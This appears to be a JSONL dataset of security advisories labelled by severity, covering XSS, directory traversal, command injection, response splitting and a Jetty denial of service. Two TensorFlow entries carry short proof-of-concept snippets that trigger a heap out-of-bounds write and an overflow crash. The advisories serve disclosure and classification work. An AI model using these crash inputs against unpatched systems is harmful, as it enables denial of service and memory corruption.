-{"id": "e38f10e0603a5d4a06ed", "text": "Cross-site Scripting in Strapi\n\nStrapi before 3.2.5 has stored XSS in the wysiwyg editor's preview feature.", "text_raw": "Cross-site Scripting in Strapi\n\n[Severity: MEDIUM]\n\nStrapi before 3.2.5 has stored XSS in the wysiwyg editor's preview feature.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-10-29", "split": "train"}
-{"id": "161be7a9bf4465e2d026", "text": "Cross-site Scripting Vulnerability in GraphQL Playground (distributed by Apollo Server)\n\n### Impact\nIn certain configurations, Apollo Server serves the client-side web app \"GraphQL Playground\" from the same web server that executes GraphQL operations. This web app has access to cookies and other credentials associated with the web server's operations. There is a cross-site scripting vulnerability in GraphQL Playground that allows for arbitrary JavaScript code execution in your web server's origin. If a user clicks a specially crafted link to your GraphQL Playground page served by Apollo Server, an attacker can steal cookies and other private browser data.\n\nDetails of the underlying GraphQL Playground vulnerability are available in [this `graphql-playground` advisory](https://github.com/graphql/graphql-playground/security/advisories/GHSA-59r9-6jp6-jcm7). (A [similar vulnerability](https://github.com/graphql/graphiql/security/advisories/GHSA-x4r7-m2q9-69c8) exists in the related `graphiql` project.) This advisory focuses on identifying whether *Apollo Server* installations are vulnerable and mitigating the vulnerability in Apollo Server; see the other advisories for details on the XSS vulnerability itself.\n\nThe impact of this vulnerability is more severe if (as is common) your GraphQL server's origin URL is an origin that is used to store sensitive data such as cookies.\n\nIn order for this vulnerability to affect your Apollo Server installation, it must actually serve GraphQL Playground. The integration between Apollo Server and GraphQL Playground is different in Apollo Server 2 and Apollo Server 3. You can tell which version of Apollo Server you are running by looking at the version of the [package from which you import the `ApolloServer` class](https://www.apollographql.com/docs/apollo-server/integrations/middleware/): this may be `apollo-server`, `apollo-server-express`, `apollo-server-lambda`, etc.\n\n#### Apollo Server 3\n\nApollo Server 3 does not serve GraphQL Playground by default. It has a [landing page plugin system](https://www.apollographql.com/docs/apollo-server/api/plugin/landing-pages/) and the default plugin is a simple splash page that is not vulnerable to this exploit, linking to Apollo Sandbox Explorer. (We chose to change the default because GraphQL Playground is not actively maintained.)\n\nIf you are running Apollo Server 3, then you are *only* vulnerable if you *explicitly* import the [`ApolloServerPluginLandingPageGraphQLPlayground`](https://www.apollographql.com/docs/apollo-server/api/plugin/landing-pages/#graphql-playground-landing-page) plugin and pass it to your `ApolloServer`'s constructor in the `plugins` array. Otherwise, this advisory does not apply to your server.\n\n#### Apollo Server 2\n\nApollo Server 2 serves GraphQL Playground by default, unless the `NODE_ENV` environment variable is set to `production`, or if you explicitly configure it via the `playground` option to the `ApolloServer` constructor.\n\nYour Apollo Server 2 installation is vulnerable if *any* of the following is true:\n- You pass `playground: true` to the `ApolloServer` constructor\n- You pass some other object like `playground: {title: \"Title\"}` to the `ApolloServer` constructor\n- You do *not* pass any `playground` option to the `ApolloServer` constructor, *and* the `NODE_ENV` environment variable is *not* set to `production`\n\n#### Apollo Server 1\n\nApollo Server 1 included `graphiql` instead of `graphql-playground`. `graphiql` isn't automatically enabled in Apollo Server 1: you have to explicitly call a function such as `graphiqlExpress` to enable it. Because Apollo Server 1 is not commonly used, we have not done a detailed examination of whether the integration between Apollo Server 1 and `graphiql` is vulnerable to a similar exploit. If you are still using Apollo Server 1, we recommend you disable `graphiql` by removing the `graphiqlExpress` call, and then upgrade to a newer version of Apollo Server.\n\n### Patches and workarounds\n\nThere are several approaches you can take to ensure that your server is not vulnerable to this issue.\n\n", "text_raw": "Cross-site Scripting Vulnerability in GraphQL Playground (distributed by Apollo Server)\n\n[Severity: HIGH]\n\n### Impact\nIn certain configurations, Apollo Server serves the client-side web app \"GraphQL Playground\" from the same web server that executes GraphQL operations. This web app has access to cookies and other credentials associated with the web server's operations. There is a cross-site scripting vulnerability in GraphQL Playground that allows for arbitrary JavaScript code execution in your web server's origin. If a user clicks a specially crafted link to your GraphQL Playground page served by Apollo Server, an attacker can steal cookies and other private browser data.\n\nDetails of the underlying GraphQL Playground vulnerability are available in [this `graphql-playground` advisory](https://github.com/graphql/graphql-playground/security/advisories/GHSA-59r9-6jp6-jcm7). (A [similar vulnerability](https://github.com/graphql/graphiql/security/advisories/GHSA-x4r7-m2q9-69c8) exists in the related `graphiql` project.) This advisory focuses on identifying whether *Apollo Server* installations are vulnerable and mitigating the vulnerability in Apollo Server; see the other advisories for details on the XSS vulnerability itself.\n\nThe impact of this vulnerability is more severe if (as is common) your GraphQL server's origin URL is an origin that is used to store sensitive data such as cookies.\n\nIn order for this vulnerability to affect your Apollo Server installation, it must actually serve GraphQL Playground. The integration between Apollo Server and GraphQL Playground is different in Apollo Server 2 and Apollo Server 3. You can tell which version of Apollo Server you are running by looking at the version of the [package from which you import the `ApolloServer` class](https://www.apollographql.com/docs/apollo-server/integrations/middleware/): this may be `apollo-server`, `apollo-server-express`, `apollo-server-lambda`, etc.\n\n#### Apollo Server 3\n\nApollo Server 3 does not serve GraphQL Playground by default. It has a [landing page plugin system](https://www.apollographql.com/docs/apollo-server/api/plugin/landing-pages/) and the default plugin is a simple splash page that is not vulnerable to this exploit, linking to Apollo Sandbox Explorer. (We chose to change the default because GraphQL Playground is not actively maintained.)\n\nIf you are running Apollo Server 3, then you are *only* vulnerable if you *explicitly* import the [`ApolloServerPluginLandingPageGraphQLPlayground`](https://www.apollographql.com/docs/apollo-server/api/plugin/landing-pages/#graphql-playground-landing-page) plugin and pass it to your `ApolloServer`'s constructor in the `plugins` array. Otherwise, this advisory does not apply to your server.\n\n#### Apollo Server 2\n\nApollo Server 2 serves GraphQL Playground by default, unless the `NODE_ENV` environment variable is set to `production`, or if you explicitly configure it via the `playground` option to the `ApolloServer` constructor.\n\nYour Apollo Server 2 installation is vulnerable if *any* of the following is true:\n- You pass `playground: true` to the `ApolloServer` constructor\n- You pass some other object like `playground: {title: \"Title\"}` to the `ApolloServer` constructor\n- You do *not* pass any `playground` option to the `ApolloServer` constructor, *and* the `NODE_ENV` environment variable is *not* set to `production`\n\n#### Apollo Server 1\n\nApollo Server 1 included `graphiql` instead of `graphql-playground`. `graphiql` isn't automatically enabled in Apollo Server 1: you have to explicitly call a function such as `graphiqlExpress` to enable it. Because Apollo Server 1 is not commonly used, we have not done a detailed examination of whether the integration between Apollo Server 1 and `graphiql` is vulnerable to a similar exploit. If you are still using Apollo Server 1, we recommend you disable `graphiql` by removing the `graphiqlExpress` call, and then upgrade to a newer version of Apollo Server.\n\n### Patches and workarounds\n\nThere are several approaches you can take to ensure that your server is not vulnerabl", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-08", "split": "train"}
-{"id": "ff5598063be8ae46a5ad", "text": "Pivotal Spring Framework Paths provided to the ResourceServlet were not properly sanitized\n\nAn issue was discovered in Pivotal Spring Framework before 3.2.18, 4.2.x before 4.2.9, and 4.3.x before 4.3.5. Paths provided to the ResourceServlet were not properly sanitized and as a result exposed to directory traversal attacks.", "text_raw": "Pivotal Spring Framework Paths provided to the ResourceServlet were not properly sanitized\n\n[Severity: HIGH]\n\nAn issue was discovered in Pivotal Spring Framework before 3.2.18, 4.2.x before 4.2.9, and 4.3.x before 4.3.5. Paths provided to the ResourceServlet were not properly sanitized and as a result exposed to directory traversal attacks.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-04", "split": "train"}
-{"id": "310133877bf35eb947b4", "text": "Object injection in cookie driver in phpfastcache\n\n### Impact\nAn possible object injection has been discovered in cookie driver prior 5.0.13 versions (of 5.x releases).\n\n### Patches\nThe issue has been addressed by enforcing JSON conversion when deserializing\n\n### Workarounds\nIf you can't fix it, use another driver such as \"Files\" (Filesystem)\n\n### References\nFixing release: https://github.com/PHPSocialNetwork/phpfastcache/releases/tag/5.0.13\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the issue tracker](https://github.com/PHPSocialNetwork/phpfastcache/issues)\n* Email us at [security@geolim4.com](mailto:security@geolim4.com)", "text_raw": "Object injection in cookie driver in phpfastcache\n\n[Severity: MEDIUM]\n\n### Impact\nAn possible object injection has been discovered in cookie driver prior 5.0.13 versions (of 5.x releases).\n\n### Patches\nThe issue has been addressed by enforcing JSON conversion when deserializing\n\n### Workarounds\nIf you can't fix it, use another driver such as \"Files\" (Filesystem)\n\n### References\nFixing release: https://github.com/PHPSocialNetwork/phpfastcache/releases/tag/5.0.13\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the issue tracker](https://github.com/PHPSocialNetwork/phpfastcache/issues)\n* Email us at [security@geolim4.com](mailto:security@geolim4.com)\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-12-12", "split": "train"}
-{"id": "8f5d9998236b259aac29", "text": "Information Exposure in jaeger\n\nSensitive information written to a log file vulnerability was found in jaegertracing/jaeger before version 1.18.1 when the Kafka data store is used. This flaw allows an attacker with access to the container's log file to discover the Kafka credentials.", "text_raw": "Information Exposure in jaeger\n\n[Severity: MEDIUM]\n\nSensitive information written to a log file vulnerability was found in jaegertracing/jaeger before version 1.18.1 when the Kafka data store is used. This flaw allows an attacker with access to the container's log file to discover the Kafka credentials.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "93e351e745fea0076add", "text": "Cross-site scripting (XSS) from image block content in the site frontend\n\n### Impact\n\nKirby's [blocks field](https://getkirby.com/docs/reference/panel/fields/blocks) stores structured data for each block. This data is then used in [block snippets](https://getkirby.com/docs/reference/panel/fields/blocks#block-snippets) to convert the blocks to HTML for use in your templates. We recommend to [escape HTML special characters](https://getkirby.com/docs/guide/templates/escaping) against cross-site scripting (XSS) attacks.\n\nCross-site scripting (XSS) is a type of vulnerability that allows to execute any kind of JavaScript code inside the site frontend or Panel session of other users. If the user is logged in to the Panel, a harmful script can for example trigger requests to Kirby's API with the permissions of the victim.\n\nThe default snippet for the [image block](https://getkirby.com/docs/reference/panel/blocks/image) unfortunately did not use our escaping helper. This made it possible to include malicious HTML code in the source, alt and link fields of the image block, which would then be displayed on the site frontend and executed in the browsers of site visitors and logged in users who are browsing the site.\n\nThis vulnerability is critical if you might have potential attackers in your group of authenticated Panel users. They can escalate their privileges if they get access to the Panel session of an admin user. Depending on your site, other JavaScript-powered attacks are possible.\n\nYou are *not* affected if you don't use the blocks field or specifically the image block in any of your blueprints. You are also protected if you use a custom [block snippet](https://getkirby.com/docs/reference/panel/fields/blocks#block-snippets) that either escapes the printed values or doesn't use them. The attack can only be performed by logged-in users and only surfaces in the site frontend (i.e. in your templates). The Panel itself is unaffected and will not execute JavaScript that was injected into the image block content.\n\n### Patches\n\nWe have patched the vulnerability in [Kirby 3.5.8](https://github.com/getkirby/kirby/releases/tag/3.5.8) by escaping special HTML characters in the output from the default image block snippet. Please update to this or a [later version](https://github.com/getkirby/kirby/releases/) to fix the vulnerability.\n\n### Credits\n\nThanks to Azrul Ikhwan Zulkifli (@azrultech) from BAE Systems AI Vulnerability Research Team for responsibly reporting the identified issue.", "text_raw": "Cross-site scripting (XSS) from image block content in the site frontend\n\n[Severity: MEDIUM]\n\n### Impact\n\nKirby's [blocks field](https://getkirby.com/docs/reference/panel/fields/blocks) stores structured data for each block. This data is then used in [block snippets](https://getkirby.com/docs/reference/panel/fields/blocks#block-snippets) to convert the blocks to HTML for use in your templates. We recommend to [escape HTML special characters](https://getkirby.com/docs/guide/templates/escaping) against cross-site scripting (XSS) attacks.\n\nCross-site scripting (XSS) is a type of vulnerability that allows to execute any kind of JavaScript code inside the site frontend or Panel session of other users. If the user is logged in to the Panel, a harmful script can for example trigger requests to Kirby's API with the permissions of the victim.\n\nThe default snippet for the [image block](https://getkirby.com/docs/reference/panel/blocks/image) unfortunately did not use our escaping helper. This made it possible to include malicious HTML code in the source, alt and link fields of the image block, which would then be displayed on the site frontend and executed in the browsers of site visitors and logged in users who are browsing the site.\n\nThis vulnerability is critical if you might have potential attackers in your group of authenticated Panel users. They can escalate their privileges if they get access to the Panel session of an admin user. Depending on your site, other JavaScript-powered attacks are possible.\n\nYou are *not* affected if you don't use the blocks field or specifically the image block in any of your blueprints. You are also protected if you use a custom [block snippet](https://getkirby.com/docs/reference/panel/fields/blocks#block-snippets) that either escapes the printed values or doesn't use them. The attack can only be performed by logged-in users and only surfaces in the site frontend (i.e. in your templates). The Panel itself is unaffected and will not execute JavaScript that was injected into the image block content.\n\n### Patches\n\nWe have patched the vulnerability in [Kirby 3.5.8](https://github.com/getkirby/kirby/releases/tag/3.5.8) by escaping special HTML characters in the output from the default image block snippet. Please update to this or a [later version](https://github.com/getkirby/kirby/releases/) to fix the vulnerability.\n\n### Credits\n\nThanks to Azrul Ikhwan Zulkifli (@azrultech) from BAE Systems AI Vulnerability Research Team for responsibly reporting the identified issue.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-16", "split": "train"}
-{"id": "1313bd8eb4c62286c3ca", "text": "Improper Neutralization of CRLF Sequences in HTTP Headers in Jooby ('HTTP Response Splitting)\n\n### Impact\n\n- Cross Site Scripting\n - Cache Poisoning\n - Page Hijacking\n\n### Patches\n\nThis was fixed in version `2.2.1`.\n\n### Workarounds\n\nIf you are unable to update, ensure that user supplied data isn't able to flow to HTTP headers. If it does, pre-sanitize for CRLF characters.\n\n### References\n\n##### [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')](https://cwe.mitre.org/data/definitions/113.html)\n\nI've been poking at libraries to see if they are vulnerable to HTTP Response Splitting and Jooby is my third case of finding this vulnerability.\n\n### Root Cause\n\nThis roots cause back to this line in the Jooby codebase:\n\nhttps://github.com/jooby-project/jooby/blob/93cfc80aa20c188f71a442ea7a1827da380e1c27/modules/jooby-netty/src/main/java/io/jooby/internal/netty/NettyContext.java#L102\n\nThe `DefaultHttpHeaders` takes a parameter `validate` which, when `true` (as it is for the no-arg constructor) validates that the header isn't being abused to do HTTP Response Splitting.\n\n### Reported By\n\nThis vulnerability was reported by @JLLeitschuh ([Twitter](https://twitter.com/JLLeitschuh))\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [jooby-project/jooby](https://github.com/jooby-project/jooby/issues)", "text_raw": "Improper Neutralization of CRLF Sequences in HTTP Headers in Jooby ('HTTP Response Splitting)\n\n[Severity: CRITICAL]\n\n### Impact\n\n - Cross Site Scripting\n - Cache Poisoning\n - Page Hijacking\n\n### Patches\n\nThis was fixed in version `2.2.1`.\n\n### Workarounds\n\nIf you are unable to update, ensure that user supplied data isn't able to flow to HTTP headers. If it does, pre-sanitize for CRLF characters.\n\n### References\n\n##### [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')](https://cwe.mitre.org/data/definitions/113.html)\n\nI've been poking at libraries to see if they are vulnerable to HTTP Response Splitting and Jooby is my third case of finding this vulnerability.\n\n### Root Cause\n\nThis roots cause back to this line in the Jooby codebase:\n\nhttps://github.com/jooby-project/jooby/blob/93cfc80aa20c188f71a442ea7a1827da380e1c27/modules/jooby-netty/src/main/java/io/jooby/internal/netty/NettyContext.java#L102\n\nThe `DefaultHttpHeaders` takes a parameter `validate` which, when `true` (as it is for the no-arg constructor) validates that the header isn't being abused to do HTTP Response Splitting.\n\n### Reported By\n\nThis vulnerability was reported by @JLLeitschuh ([Twitter](https://twitter.com/JLLeitschuh))\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [jooby-project/jooby](https://github.com/jooby-project/jooby/issues)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-04-03", "split": "train"}
-{"id": "d94dd84de716f9f9dd36", "text": "Steam Socialite Provider v1 does not correctly validate openid server\n\n### Impact\nThe outdated version 1 of the Steam Socialite Provider doesn't check properly if the login comes from `steamcommunity.com`, allowing a malicious actor to substitute their own openID server.\n\n### Patches\nThis vulnerability only affects the outdated v1.x versions of the package. These are no longer maintained, users should upgrade to v3 or v4, which use a hardcoded endpoint to verify the login.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [SocialiteProviders/Providers](https://github.com/SocialiteProviders/Providers)\n* Email us at [socialite@atymic.dev](mailto:socialite@atymic.dev)", "text_raw": "Steam Socialite Provider v1 does not correctly validate openid server\n\n[Severity: CRITICAL]\n\n### Impact\nThe outdated version 1 of the Steam Socialite Provider doesn't check properly if the login comes from `steamcommunity.com`, allowing a malicious actor to substitute their own openID server.\n\n### Patches\nThis vulnerability only affects the outdated v1.x versions of the package. These are no longer maintained, users should upgrade to v3 or v4, which use a hardcoded endpoint to verify the login.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [SocialiteProviders/Providers](https://github.com/SocialiteProviders/Providers)\n* Email us at [socialite@atymic.dev](mailto:socialite@atymic.dev)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-01-29", "split": "train"}
-{"id": "d4dbad39fb2c72e80005", "text": "Heap out of bounds write in `RaggedBinCount`\n\n### Impact\nIf the `splits` argument of `RaggedBincount` does not specify a valid [`SparseTensor`](https://www.tensorflow.org/api_docs/python/tf/sparse/SparseTensor), then an attacker can trigger a heap buffer overflow:\n\n```python\nimport tensorflow as tf\ntf.raw_ops.RaggedBincount(splits=[7,8], values= [5, 16, 51, 76, 29, 27, 54, 95],\\\n                          size= 59, weights= [0, 0, 0, 0, 0, 0, 0, 0],\\\n                          binary_output=False)\n```\n\nThis will cause a read from outside the bounds of the `splits` tensor buffer in the [implementation of the `RaggedBincount` op](https://github.com/tensorflow/tensorflow/blob/8b677d79167799f71c42fd3fa074476e0295413a/tensorflow/core/kernels/bincount_op.cc#L430-L446):\n\n```cc \n    for (int idx = 0; idx < num_values; ++idx) {\n      while (idx >= splits(batch_idx)) {\n        batch_idx++;\n      }\n      ...\n      if (bin < size) {\n        if (binary_output_) {\n          out(batch_idx - 1, bin) = T(1);\n        } else {\n          T value = (weights_size > 0) ? weights(idx) : T(1);\n          out(batch_idx - 1, bin) += value;\n        }\n      } \n    }\n```\n\nBefore the `for` loop, `batch_idx` is set to 0. The attacker sets `splits(0)` to be 7, hence the `while` loop does not execute and `batch_idx` remains 0. This then results in writing to `out(-1, bin)`, which is before the heap allocated buffer for the output tensor.\n\n### Patches\nWe have patched the issue in GitHub commit [eebb96c2830d48597d055d247c0e9aebaea94cd5](https://github.com/tensorflow/tensorflow/commit/eebb96c2830d48597d055d247c0e9aebaea94cd5).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 and TensorFlow 2.3.3, as these are also affected.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Heap out of bounds write in `RaggedBinCount`\n\n[Severity: LOW]\n\n### Impact\nIf the `splits` argument of `RaggedBincount` does not specify a valid [`SparseTensor`](https://www.tensorflow.org/api_docs/python/tf/sparse/SparseTensor), then an attacker can trigger a heap buffer overflow:\n\n```python\nimport tensorflow as tf\ntf.raw_ops.RaggedBincount(splits=[7,8], values= [5, 16, 51, 76, 29, 27, 54, 95],\\\n                          size= 59, weights= [0, 0, 0, 0, 0, 0, 0, 0],\\\n                          binary_output=False)\n```\n\nThis will cause a read from outside the bounds of the `splits` tensor buffer in the [implementation of the `RaggedBincount` op](https://github.com/tensorflow/tensorflow/blob/8b677d79167799f71c42fd3fa074476e0295413a/tensorflow/core/kernels/bincount_op.cc#L430-L446):\n    \n```cc \n    for (int idx = 0; idx < num_values; ++idx) {\n      while (idx >= splits(batch_idx)) {\n        batch_idx++;\n      }\n      ...\n      if (bin < size) {\n        if (binary_output_) {\n          out(batch_idx - 1, bin) = T(1);\n        } else {\n          T value = (weights_size > 0) ? weights(idx) : T(1);\n          out(batch_idx - 1, bin) += value;\n        }\n      } \n    }\n```\n\nBefore the `for` loop, `batch_idx` is set to 0. The attacker sets `splits(0)` to be 7, hence the `while` loop does not execute and `batch_idx` remains 0. This then results in writing to `out(-1, bin)`, which is before the heap allocated buffer for the output tensor.\n\n### Patches\nWe have patched the issue in GitHub commit [eebb96c2830d48597d055d247c0e9aebaea94cd5](https://github.com/tensorflow/tensorflow/commit/eebb96c2830d48597d055d247c0e9aebaea94cd5).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 and TensorFlow 2.3.3, as these are also affected.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "3a233ad32ab9f6d9e68f", "text": "Directory Traversal in hostr\n\nAffected versions of `hostr` are vulnerable to directory traversal which allows attackers to read files outside the current directory by sending `../` in the url path for GET requests.\n\n## Recommendation\n\nUpgrade to version 2.3.6 or later.", "text_raw": "Directory Traversal in hostr\n\n[Severity: HIGH]\n\nAffected versions of `hostr` are vulnerable to directory traversal which allows attackers to read files outside the current directory by sending `../` in the url path for GET requests.\n\n\n## Recommendation\n\nUpgrade to version 2.3.6 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "7b6736d13de3bc6e4dcb", "text": "Overflow/crash in `tf.image.resize` when size is large\n\n### Impact\nIf `tf.image.resize` is called with a large input argument then the TensorFlow process will crash due to a `CHECK`-failure caused by an overflow.\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\ntf.keras.layers.UpSampling2D(\n  size=1610637938,\n  data_format='channels_first',\n  interpolation='bilinear')(np.ones((5,1,1,1)))\n```\n\nThe number of elements in the output tensor is too much for the `int64_t` type and the overflow is detected via a `CHECK` statement. This aborts the process.\n\n### Patches\nWe have patched the issue in GitHub commit [e5272d4204ff5b46136a1ef1204fc00597e21837](https://github.com/tensorflow/tensorflow/commit/e5272d4204ff5b46136a1ef1204fc00597e21837) (merging [#51497](https://github.com/tensorflow/tensorflow/pull/51497)).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46914).", "text_raw": "Overflow/crash in `tf.image.resize` when size is large\n\n[Severity: MEDIUM]\n\n### Impact\nIf `tf.image.resize` is called with a large input argument then the TensorFlow process will crash due to a `CHECK`-failure caused by an overflow.\n\n```python\nimport tensorflow as tf\nimport numpy as np\n\ntf.keras.layers.UpSampling2D(\n  size=1610637938,\n  data_format='channels_first',\n  interpolation='bilinear')(np.ones((5,1,1,1)))\n```\n\nThe number of elements in the output tensor is too much for the `int64_t` type and the overflow is detected via a `CHECK` statement. This aborts the process.\n\n### Patches\nWe have patched the issue in GitHub commit [e5272d4204ff5b46136a1ef1204fc00597e21837](https://github.com/tensorflow/tensorflow/commit/e5272d4204ff5b46136a1ef1204fc00597e21837) (merging [#51497](https://github.com/tensorflow/tensorflow/pull/51497)).\n\nThe fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46914).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "41a492c1546d2fbdf793", "text": "OS Command Injection in serial-number\n\nserial-number through 1.3.0 allows execution of arbritary commands. The &quot;cmdPrefix&quot; argument in serialNumber function is used by the &quot;exec&quot; function without any validation.", "text_raw": "OS Command Injection in serial-number\n\n[Severity: HIGH]\n\nserial-number through 1.3.0 allows execution of arbritary commands. The &quot;cmdPrefix&quot; argument in serialNumber function is used by the &quot;exec&quot; function without any validation.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "208fdc3e8987a6506800", "text": "Cross-Site Scripting in mrk.js\n\nVersions of `mrk.js` before 2.0.1 are vulnerable to cross-site scripting (XSS) when markdown is converted to HTML.\n\n## Recommendation\n\nUpdate to version 2.0.1 or later and use `mark.sanitizeURL()` for any `src` and `href` attributes when extending the markdown.", "text_raw": "Cross-Site Scripting in mrk.js\n\n[Severity: HIGH]\n\nVersions of `mrk.js` before 2.0.1 are vulnerable to cross-site scripting (XSS) when markdown is converted to HTML.\n\n\n## Recommendation\n\nUpdate to version 2.0.1 or later and use `mark.sanitizeURL()` for any `src` and `href` attributes when extending the markdown.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "dc014a3a0e39a228f28f", "text": "Practico 13.9 Multiple Vulnerabilities", "text_raw": "Practico 13.9 Multiple Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-11-03", "split": "train"}
-{"id": "a02906d040232a879f11", "text": "org.apache.spark:spark-core_2.10 and org.apache.spark:spark-core_2.11 Improper Authentication vulnerability\n\nFrom version 1.3.0 onward, Apache Spark's standalone master exposes a REST API for job submission, in addition to the submission mechanism used by spark-submit. In standalone, the config property 'spark.authenticate.secret' establishes a shared secret for authenticating requests to submit jobs via spark-submit. However, the REST API does not use this or any other authentication mechanism, and this is not adequately documented. In this case, a user would be able to run a driver program without authenticating, but not launch executors, using the REST API. This REST API is also used by Mesos, when set up to run in cluster mode (i.e., when also running MesosClusterDispatcher), for job submission. Future versions of Spark will improve documentation on these points, and prohibit setting 'spark.authenticate.secret' when running the REST APIs, to make this clear. Future 2.4.x versions will also disable the REST API by default in the standalone master by changing the default value of 'spark.master.rest.enabled' to 'false'.", "text_raw": "org.apache.spark:spark-core_2.10 and org.apache.spark:spark-core_2.11 Improper Authentication vulnerability\n\n[Severity: MEDIUM]\n\nFrom version 1.3.0 onward, Apache Spark's standalone master exposes a REST API for job submission, in addition to the submission mechanism used by spark-submit. In standalone, the config property 'spark.authenticate.secret' establishes a shared secret for authenticating requests to submit jobs via spark-submit. However, the REST API does not use this or any other authentication mechanism, and this is not adequately documented. In this case, a user would be able to run a driver program without authenticating, but not launch executors, using the REST API. This REST API is also used by Mesos, when set up to run in cluster mode (i.e., when also running MesosClusterDispatcher), for job submission. Future versions of Spark will improve documentation on these points, and prohibit setting 'spark.authenticate.secret' when running the REST APIs, to make this clear. Future 2.4.x versions will also disable the REST API by default in the standalone master by changing the default value of 'spark.master.rest.enabled' to 'false'.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "c5e689889c315fe5d1c9", "text": "DOS vulnerability for Quoted Quality CSV headers\n\n### Impact\nWhen Jetty handles a request containing request headers with a large number of “quality” (i.e. q) parameters (such as what are seen on the `Accept`, `Accept-Encoding`, and `Accept-Language` request headers), the server may enter a denial of service (DoS) state due to high CPU usage while sorting the list of values based on their quality values.  A single request can easily consume minutes of CPU time before it is even dispatched to the application.\n\nThe only features within Jetty that can trigger this behavior are:\n\n- Default Error Handling - the `Accept` request header with the `QuotedQualityCSV` is used to determine what kind of content to send back to the client (html, text, json, xml, etc)\n- `StatisticsServlet` - uses the `Accept` request header with the `QuotedQualityCSV` to determine what kind of content to send back to the client (xml, json, text, html, etc)\n- `HttpServletRequest.getLocale()` - uses the `Accept-Language` request header with the `QuotedQualityCSV` to determine which “preferred” language is returned on this call.\n- `HttpservletRequest.getLocales()` - is similar to the above, but returns an ordered list of locales based on the quality values on the `Accept-Language` request header.\n- `DefaultServlet` - uses the `Accept-Encoding` request header with the `QuotedQualityCSV` to determine which kind of pre-compressed content should be sent back for static content (content that is not matched against a url-pattern in your web app)\n\n### Versions\n`QuotedQualityCSV` was introduced to Jetty 9.3.9.v20160517 and the bug that introduced the vulnerability was in 9.4.6.v20170531.\n\nCurrently, known vulnerable versions include:\n\n- 9.4.6.v20170531 thru to 9.4.36.v20210114\n- 10.0.0\n- 11.0.0\n\n### Workarounds\n\nQuality ordered values are used infrequently by jetty so they can be avoided by:\n\n* Do not use the default error page/handler.\n * Do not deploy the `StatisticsServlet` exposed to the network\n * Do not call `getLocale` API\n * Do not enable precompressed static content in the `DefaultServlet`\n\n### Patches\n\nAll patches are available for download from the Eclipse Jetty website at [https://www.eclipse.org/jetty/download.php](https://www.eclipse.org/jetty/download.php)\n- 9.4.37.v20210219 and greater\n- 10.0.1 and greater \n- 11.0.1 and greater", "text_raw": "DOS vulnerability for Quoted Quality CSV headers\n\n[Severity: MEDIUM]\n\n### Impact\nWhen Jetty handles a request containing request headers with a large number of “quality” (i.e. q) parameters (such as what are seen on the `Accept`, `Accept-Encoding`, and `Accept-Language` request headers), the server may enter a denial of service (DoS) state due to high CPU usage while sorting the list of values based on their quality values.  A single request can easily consume minutes of CPU time before it is even dispatched to the application.\n\nThe only features within Jetty that can trigger this behavior are:\n\n- Default Error Handling - the `Accept` request header with the `QuotedQualityCSV` is used to determine what kind of content to send back to the client (html, text, json, xml, etc)\n- `StatisticsServlet` - uses the `Accept` request header with the `QuotedQualityCSV` to determine what kind of content to send back to the client (xml, json, text, html, etc)\n- `HttpServletRequest.getLocale()` - uses the `Accept-Language` request header with the `QuotedQualityCSV` to determine which 